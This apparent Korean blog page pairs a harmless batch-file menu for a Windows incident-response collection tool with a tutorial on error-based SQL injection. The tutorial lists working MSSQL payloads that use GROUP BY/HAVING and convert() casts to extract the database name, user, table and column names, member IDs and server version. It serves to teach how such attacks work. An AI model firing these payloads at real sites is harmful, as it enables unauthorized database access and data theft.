배치 파일 가지고 놀기

아래 내역을 복사해서 구동 시켜보고 이해하면 그냥 저냥 배치 파일도 쉬워요~

@echo off

:_main

title A-FIRST Windows Incident Response

if /i "%1" =="/?" goto _HELP

if /i "%1" =="-h" goto _HELP

if /i "%1" =="--h" goto _HELP

echo #######################################################

echo ######### A - FIRST Windows Incident Response #########

echo #######################################################

REM -- 메모리 수집 여부

:_mem

echo -------------------------------------------------------

echo 1. 물리 메모리를 수집하겠습니까? Yes or No or Quit

set /p menu1=: || goto:_mem

if /i "%menu1%"=="yes" goto _1

if /i "%menu1%"=="y" goto _1

if /i "%menu1%"=="no" goto _2

if /i "%menu1%"=="n" goto _2

if /i "%menu1%"=="Quit" goto _out

goto _mem

:_1

set MEM=Yes

goto _volatile

:_2

set MEM=No

goto _volatile

REM -- 비휘발성 데이터 수집 여부

:_volatile

echo -------------------------------------------------------

echo 2. 비휘발성 데이터를 수집하겠습니까? Yes or No or Quit

set /p menu2=: || goto:_volatile

if /i "%menu2%"=="yes" goto _3

if /i "%menu2%"=="y" goto _3

if /i "%menu2%"=="no" goto _4

if /i "%menu2%"=="n" goto _4

if /i "%menu2%"=="Quit" goto _out

goto _volatile

:_3

set volatile=Yes

goto _execute

:_4

set volatile=No

goto _execute

REM -- 침해대응 스크립스 실행

:_execute

echo -------------------------------------------------------

echo %date% / %time%

echo Memory : %MEM%

echo Non Volatile : %volatile%

goto _QUIT

REM -- 도움말

:_HELP

echo -------------------------------------------------------

echo           파라이터에는 저장할 경로를 넣습니다.

echo                EX) AWIR.bat c:\dorumugs  

echo -------------------------------------------------------

goto _QUIT

REM -- 나가기

:_out

echo -------------------------------------------------------

echo ###  질문을 종료할 경우, 수집을 진행하지 않습니다.  ###

echo -------------------------------------------------------

:_QUIT

윈도우 부팅 순서

SQL Injection을 파해쳐 보자
일반적으로 bypass를 써서 성공하게 되면, SQL Injection이 가능하다라고 생각 한다.
그 외 '(싱글쿼터)로 데이터 베이스 에러가 발생하면 가능도 하지 않을까 라고 생각 한다.
그렇게 해서 해보면 어느정도는 SQL Injection으로 원하는 결과를 얻기도 한다.

먼저 bypass와 주석에 대해서 알아보자

1. bypass 와 주석
 아래의 bypass를 사용해서 로그인이 되거나 데이터 베이스 에러가 확인 될 경우, 취약하다는 가정을 갖게된다.

1' GROUP BY m.mid HAVING 1=1 --
다음 컬럼을 확인하는데 사용됩니다. 위와 다르게 GROUP BY를 사용하여 1번에서 도출된(위의 HAVING) 값을 넣어준다.

1' GROUP BY m.mid m.mpwd HAVING 1=1 --
그 다음 column 값 확인

1' and 1=convert(int,db_name()) --
convert함수를 사용하여 형변환을 일으켜서 DB이름을 알아낸다.

1' and 1=convert(int,user_name())--
사용자 이름 알아내기

1' and 1=convert(int,(select top 1 table_name from information_schema.tables))--
테이블 정보 알아내기

1' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('wiztable_board_config')))--
다음 테이블 정보 알아내기

1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers')) --
컬럼 값 알아내기

1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers' and column_name not in ('uid'))) --
다음 컬럼 값 알아내기

1' and 1=convert(int,(select top 1 mid from wizmembers)) --
사용자 정보 알아내기

1' and 1=convert(int,@@version) --
버전 알아내기

음...  그외 Union select로 알아보기는 다음에 해야지 잇힝~